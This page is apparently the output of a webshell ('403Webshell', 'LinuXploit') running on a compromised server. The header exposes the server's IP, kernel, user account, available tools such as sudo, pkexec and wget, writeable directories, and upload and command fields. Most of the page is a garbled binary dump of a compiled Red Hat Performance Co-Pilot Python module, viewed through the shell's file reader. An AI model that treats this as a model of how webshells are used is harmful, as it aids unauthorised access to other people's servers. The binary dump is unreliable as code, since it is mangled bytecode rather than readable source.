- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.191.68.112
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/pcp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/pcp/__pycache__/pmda.cpython-36.pyc
3

4>�fP�@s8dZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
mZddlm
Z
ddlmZmZmZmZmZddlmZmZmZmZee
d��Zeej_eeeegej_eej_eeeeegej_eej_eeee�ee�gej_eej_eeee�ee�gej_eej_eeeeee�ee�ee�gej_eej _eegej _eej!_eegej!_eej"_eee��egej"_eej#_ee�egej#_eej$_eee��egej$_eej%_gej%_d	d
�Z"dd�Z#d
d�Z$dd�Z%Gdd�de�Z&Gdd�de�Z'Gdd�de�Z(Gdd�de	�Z)Gdd�de*�Z+Gdd�de+�Z,dS)aWrapper module for libpcp_pmda - Performace Co-Pilot Domain Agent API
#
# Copyright (C) 2013-2015,2017-2021 Red Hat.
#
# This file is part of the "pcp" module, the python interfaces for the
# Performance Co-Pilot toolkit.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
# for more details.
#
# See pmdasimple.py for an example use of this module.
�N)�	pmContext)�pmInDom�pmDesc�pmUnits�pmErr�
pmLabelSet)�find_library)�CDLL�c_int�c_long�c_char_p�c_void_p)�	addressof�byref�POINTER�	StructureZpcp_pmdacCs.tt��}tjt|�|�}|dkr*t|��|S)Nr)rr�LIBPCP_PMDA�
pmdaAddLabelsrr)�label�result_p�status�r�/usr/lib64/python3.6/pmda.pyrFs

rcCs tj||�}|dkrt|��|S)Nr)r�pmdaAddLabelFlagsr)Zlabels�flagsrrrrrMsrcCs.tt��}tjt|�|�}|dkr*t|��|S)Nr)rrr�pmdaAddNotesrr)rrrrrrrSs

rcCstj�}|dkrt|��|S)Nr)r�pmdaGetContextr)rrrrrZsrc@s0eZdZdZdefdefgZdd�Zdd�ZdS)	�
pmdaMetricz5 Structure describing a metric definition for a PMDA �m_user�m_desccCs<tj|�d|_||j_||j_||j_||j_||j_dS)N)	r�__init__rr�pmid�type�indom�sem�units)�selfr!Ztypeofr#r$r%rrrr is
zpmdaMetric.__init__cCsdt|�|jj|jjfS)Nz!pmdaMetric@%#lx pmid=%#lx type=%d)rrr!r")r&rrr�__str__rszpmdaMetric.__str__N)	�__name__�
__module__�__qualname__�__doc__r
r�_fields_r r'rrrrrds

	rc@s0eZdZdZdefdefgZdd�Zdd�ZdS)	�
pmdaInstidz6 Structure describing an instance (index/name) a PMDA �i_inst�i_namecCs tj|�||_|jd�|_dS)Nzutf-8)rr r.�encoder/)r&Zinstid�namerrrr zs
zpmdaInstid.__init__cCsdt|�|j|jfS)Nz pmdaInstid@%#lx index=%d name=%s)rr.r/)r&rrrr'szpmdaInstid.__str__N)	r(r)r*r+r
rr,r r'rrrrr-us

r-c@s�eZdZdZdefdefdee�fgZdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS) �	pmdaIndomz7 Structure describing an instance domain within a PMDA �it_indom�
it_numinst�it_setcCs8tj|�d|_d|_||_|j||�|j||�dS)Nr)rr r4r5r3�
load_indom�
set_instances)r&r#�instsrrrr �s
zpmdaIndom.__init__ccs�|jdkrTtj|jtj�xptj|jtj�}|dkr6P|j|�}|r||fVqWn8x6t|j�D](}|j	|j
}|j|�}|r`||fVq`WdS)Nr)r4r�pmdaCacheOpr3�cpmdaZPMDA_CACHE_WALK_REWINDZPMDA_CACHE_WALK_NEXT�inst_name_lookup�ranger5r.)r&�instr1�irrr�__iter__�s 


zpmdaIndom.__iter__cCsv|jdkr@t�}tj|j|t|�d�}|tjkrrt|j	j
��Sn2|jdkrrx&|jD]}|j|krRt|j
j
��SqRWdS)Nr)r4rr�pmdaCacheLookupr3rr:�PMDA_CACHE_ACTIVE�str�value�decoder5r.r/)r&�instancer1�stsr=rrrr;�s




zpmdaIndom.inst_name_lookupcCst|t�rtj|tj�dS)N)�
isinstance�dictrr9r:�PMDA_CACHE_LOAD)r&r#r8rrrr6�s
zpmdaIndom.load_indomcCs|jdkrtj|jtj�dS)N����)r4rr9r3r:rI)r&rrr�load�s
zpmdaIndom.loadcCs\t|�}t|�}x0t|�D]$}||j||_||j||_qW||_||_tj�dS)N)	�lenr-r<r.r/r5r4r:�set_need_refresh)r&r8Zinstance_countZinstance_arrayr>rrr�set_list_instances�s
zpmdaIndom.set_list_instancescCs\tj|tj�x4|j�D](}|jd�}tj|tj|t||��qWtj|tj	�d|_
dS)Nzutf-8rJrK)rr9r:�PMDA_CACHE_INACTIVE�keysr0�pmdaCacheStoreZPMDA_CACHE_ADDrZPMDA_CACHE_SAVEr4)r&r#r8�keyZkey8rrr�set_dict_instances�s
zpmdaIndom.set_dict_instancescCsF|dkrd|_n2t|t�r.d|_|j||�nt|�|_|j|�dS)NrrJrK)r4rGrHrTrMrO)r&r#r8rrrr7�s

zpmdaIndom.set_instancescCsdt|�|j|jfS)Nz pmdaIndom@%#lx indom=%#lx num=%d)rr3r4)r&rrrr'�szpmdaIndom.__str__cCs:|jdkr,tj|jtj�}|dkr6t|��n
ttj��dS)Nr)	r4rr9r3r:rIr�cpmapi�
PM_ERR_NYI)r&rFrrr�
cache_load�s


zpmdaIndom.cache_loadcCs*|jdkrtj|jtj�n
ttj��dS)Nr)	r4rr9r3r:rArrUrV)r&rrr�cache_mark_active�s
zpmdaIndom.cache_mark_activecCs*|jdkrtj|jtj�n
ttj��dS)Nr)	r4rr9r3r:rPrrUrV)r&rrr�cache_mark_inactive�s
zpmdaIndom.cache_mark_inactivecCs8|jdkr*tj|j|�}|dkr4t|��n
ttj��dS)Nr)r4r�pmdaCacheResizer3rrUrV)r&ZmaximumrFrrr�cache_resize�s


zpmdaIndom.cache_resizeN)r(r)r*r+rr
rr-r,r r?r;r6rLrOrTr7r'rWrXrYr[rrrrr2�s"


r2c@seZdZdZdd�ZdS)�	pmdaUnitszF Wrapper class for PMDAs defining their metrics (avoids pmapi import) cCstj|||||||�dS)N)rr )r&ZdimSZdimTZdimCZscaleSZscaleTZscaleCrrrr �szpmdaUnits.__init__N)r(r)r*r+r rrrrr\�sr\c@s|eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	ddd�Z
dd�Zddd�Zdd�Z
dd�Zdd�Zdd�ZdS) �MetricDispatcha� Helper for PMDA class which manages metric dispatch
        table, metric namespace, descriptors and help text.

        Overall strategy is to interface to the C code in
        python/pmda.c here, using a void* handle to the PMDA
        dispatch structure (allocated and managed in C code).

        In addition, several dictionaries for metric related
        strings are managed here (names, help text) - cached
        for quick lookups in callback routines.
    cCsPg|_i|_i|_i|_g|_i|_i|_i|_i|_i|_	t
j||||�dS)N)�_indomtable�_indoms�_indom_oneline�_indom_helptext�_metrictable�_metrics�
_metric_names�_metric_names_map�_metric_oneline�_metric_helptextr:Z
init_dispatch)r&�domainr1�logfile�helpfilerrrr szMetricDispatch.__init__cCs.|jdd�=|jj�|jj�|jj�dS)N)r^r_�clearr`ra)r&rrr�clear_indomss

zMetricDispatch.clear_indomscCsB|jdd�=|jj�|jj�|jj�|jj�|jj�dS)N)rbrcrkrdrerfrg)r&rrr�
clear_metrics0s



zMetricDispatch.clear_metricscCs|j�tj�dS)N)rmr:rN)r&rrr�
reset_metrics:szMetricDispatch.reset_metricscCstj|j�dS)N)r:�pmns_refreshrd)r&rrrroAszMetricDispatch.pmns_refreshcCstj�dS)N)r:�connect_pmcd)r&rrrrpDszMetricDispatch.connect_pmcd�cCsz|jj}||jkrtd|��||jkr0td��|jj|�||j|<||j|<||j|<||j|<||j	|<t
j�dS)Nz.attempt to add_metric with an existing name=%sz+attempt to add_metric with an existing PMID)rr!re�KeyErrorrcrb�appendrdrfrgr:rN)r&r1�metric�oneline�textr!rrr�
add_metricGs






zMetricDispatch.add_metriccCs�|jj}||jkrtd|��||jkr0td��|jj|�|jj|�|jj|�|jj|�|j	j|�|j
j|�tj�dS)Nz-attempt to remove non-existant metric name=%sz/attempt to remove_metric with non-existant PMID)
rr!rerrrcrb�remove�poprdrfrgr:rN)r&r1rtr!rrr�
remove_metricVs

zMetricDispatch.remove_metriccCsV|j}x |jD]}|j|krtd��qW|jj|�||j|<||j|<||j|<dS)Nz(attempt to add_indom with an existing ID)r3r^rrrsr_r`ra)r&r#rurvZindomid�entryrrr�	add_indomes


zMetricDispatch.add_indomcCsjt|t�r|j}|}n|}t||�}t|t�r\x,t|j�D]\}}|j|kr:||j|<Pq:W||j|<dS)N)rGr2r3�list�	enumerater^r_)r&r#r8r3Zreplacementr>r{rrr�
replace_indomos




zMetricDispatch.replace_indomcCs@|j|}|jdkr<t�}tj||dt|��}|tjkr<|SdS)z�
        Lookup the value associated with an (internal) instance ID
        within a specific instance domain (only valid with indoms
        of cache type - array indom will always return None).
        rN)r_r4r
rr@rr:rA)r&r#rEr{rCrFrrr�inst_lookup�s


zMetricDispatch.inst_lookupcCs|j|}|j|�S)zv
        Lookup the name associated with an (internal) instance ID within
        a specific instance domain.
        )r_r;)r&r#rEr{rrrr;�s
zMetricDispatch.inst_name_lookupcCs4y|jtj||�}Wntk
r.d}YnX|S)zR
        Lookup the name associated with a performance metric identifier.
        N)rdr:�	pmda_pmidrr)r&�cluster�itemr1rrr�pmid_name_lookup�s

zMetricDispatch.pmid_name_lookupN)rqrq)rqrq)r(r)r*r+r rlrmrnrorprwrzr|rr�r;r�rrrrr]�s




r]c@s�eZdZdZdd�Zdd�Zeeddd�Zeeddd�ZdGdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�Zedd��Zedd��Zedd��Zedd��Zedd��Zedd��Zedd ��Zed!d"��Zed#d$��Zed%d&��Zed'd(��Zed)d*��Zed+d,��Zed-d.��Zed/d0��Zed1d2��Zed3d4��Z ed5d6��Z!ed7d8��Z"ed9d:��Z#ed;d<��Z$ed=d>��Z%ed?d@��Z&edAdB��Z'edCdD��Z(edEdF��Z)dS)H�PMDAzj Defines a PCP performance metrics domain agent
        Used to add new metrics into the PCP toolkit.
    cCs|jS)z  Property for name of this PMDA )�_name)r&rrr�	read_name�szPMDA.read_namecCs|jS)z0 Property for unique domain number of this PMDA )�_domain)r&rrr�read_domain�szPMDA.read_domainNcCsL||_||_|s|d}d|}|s6dtjd�|f}tj|||||�dS)Nz.logZpmdaz
%s/%s/helpZ
PCP_PMDAS_DIR)r�r��PCPZpmGetConfigr]r )r&r1rhrirjZpmdanamerrrr �sz
PMDA.__init__cCstd|jj�|jf�dS)zH
        Write out the domain.h file (used during installation)
        z
#define %s %dN)�printr��upperr�)r&rrr�domain_write�szPMDA.domain_writecsf|j��fdd��D�}|dk}d}|r4d}td�x |D]}td|||jf�q:W|rbtd�d	S)
zI
        Write out the namespace file (used during installation)
        csh|]}�|jd�d�qS)�.r)�split)�.0rS)�pmnsrr�	<setcomp>�sz"PMDA.pmns_write.<locals>.<setcomp>�rootrq�	zroot {z%s%s	%d:*:*�}N)rdr�r�)r&r��prefixes�indentZlead�prefixr)r�r�
pmns_write�s
zPMDA.pmns_writecCstj�dS)zF
        Tell PMCD the PMDA is not ready to process requests.
        N)r:�
pmda_notready)r&rrrr��szPMDA.pmda_notreadycCstj�dS)zB
        Tell PMCD the PMDA is ready to process requests.
        N)r:�
pmda_ready)r&rrrr��szPMDA.pmda_readycCs|dtjkr|j�nddtjkr0|jtjd�nH|j�tj|j�tj|j	�tj
|j�tj|j
�tj|j|j�dS)a�
        All the real work happens herein; we can be called in one of three
        situations, determined by environment variables.  First couple are
        during the agent Install process, where the domain.h and namespace
        files need to be created.  The third case is the real mccoy, where
        an agent is actually being started by pmcd/dbpmda and makes use of
        libpcp_pmda to talk PCP protocol.
        ZPCP_PYTHON_DOMAINZPCP_PYTHON_PMNSN)�os�environr�r�ror:Zpmid_oneline_refreshrfZpmid_longtext_refreshrgZindom_oneline_refreshr`Zindom_longtext_refreshraZ
pmda_dispatchr^rb)r&rrr�run�s	


zPMDA.runcCs
tj|�S)N)r:�	set_fetch)Zfetchrrrr�szPMDA.set_fetchcCs
tj|�S)N)r:�	set_label)rrrrr�szPMDA.set_labelcCs
tj|�S)N)r:�	set_notes)Znotesrrrr�	szPMDA.set_notescCs
tj|�S)N)r:�set_refresh)Zrefreshrrrr�
szPMDA.set_refreshcCs
tj|�S)N)r:�set_instance)rErrrr�szPMDA.set_instancecCs
tj|�S)N)r:�set_fetch_callback)Zfetch_callbackrrrr�szPMDA.set_fetch_callbackcCs
tj|�S)N)r:�set_label_callback)Zlabel_callbackrrrr�szPMDA.set_label_callbackcCs
tj|�S)N)r:�set_notes_callback)Znotes_callbackrrrr�szPMDA.set_notes_callbackcCs
tj|�S)N)r:�set_attribute_callback)Zattribute_callbackrrrr�!szPMDA.set_attribute_callbackcCs
tj|�S)N)r:�set_store_callback)Zstore_callbackrrrr�%szPMDA.set_store_callbackcCs
tj|�S)N)r:�set_endcontext_callback)Zendcontext_callbackrrrr�)szPMDA.set_endcontext_callbackcCs
tj|�S)N)r:�set_refresh_all)Zrefresh_allrrrr�-szPMDA.set_refresh_allcCs
tj|�S)N)r:�set_refresh_metrics)Zrefresh_metricsrrrr�1szPMDA.set_refresh_metricscCstj�dS)N)r:�set_notify_changerrrrr�5szPMDA.set_notify_changecCs
tj|�S)N)rUZpmSetProcessIdentity)Zusernamerrr�set_user9sz
PMDA.set_usercCstj||�S)N)r:r�)r�r�rrrr!=sz	PMDA.pmidcCstj|||�S)N)r:�
pmid_build)rhr�r�rrrr�AszPMDA.pmid_buildcCs
tj|�S)N)r:�pmid_cluster)r�rrrr�EszPMDA.pmid_clustercCs
tj|�S)N)r:Z
pmda_indom)�serialrrrr#Isz
PMDA.indomcCstj||�S)N)r:�indom_build)rhr�rrrr�MszPMDA.indom_buildcCstj||||||�S)N)r:Z
pmda_units)Z	dim_spaceZdim_timeZ	dim_countZscale_spaceZ
scale_timeZscale_countrrrr%Qsz
PMDA.unitscCs
tj|�S)N)r:Zpmda_uptime)Znowrrr�uptimeUszPMDA.uptimecCs
tj|�S)N)r:Zpmda_set_comm_flags)rrrr�set_comm_flagsYszPMDA.set_comm_flagscCs
tj|�S)N)r:Zpmda_log)�messagerrr�log]szPMDA.logcCs
tj|�S)N)r:Zpmda_dbg)r�rrr�dbgaszPMDA.dbgcCs
tj|�S)N)r:Zpmda_err)r�rrr�erreszPMDA.err)NN)*r(r)r*r+r�r��propertyr1rhr r�r�r�r�r��staticmethodr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r!r�r�r#r�r%r�r�r�r�r�rrrrr��sJ
r�)-r+r�rUr:Z	pcp.pmapirr�rrrrrZctypes.utilrZctypesr	r
rrr
rrrrrrRZrestypeZargtypesZpmdaCacheStoreKeyr@ZpmdaCacheLookupNameZpmdaCacheLookupKeyr9rZrrrrrr-r2r\�objectr]r�rrrr�<module>sV

r
%

Youez - 2016 - github.com/yon3zu
LinuXploit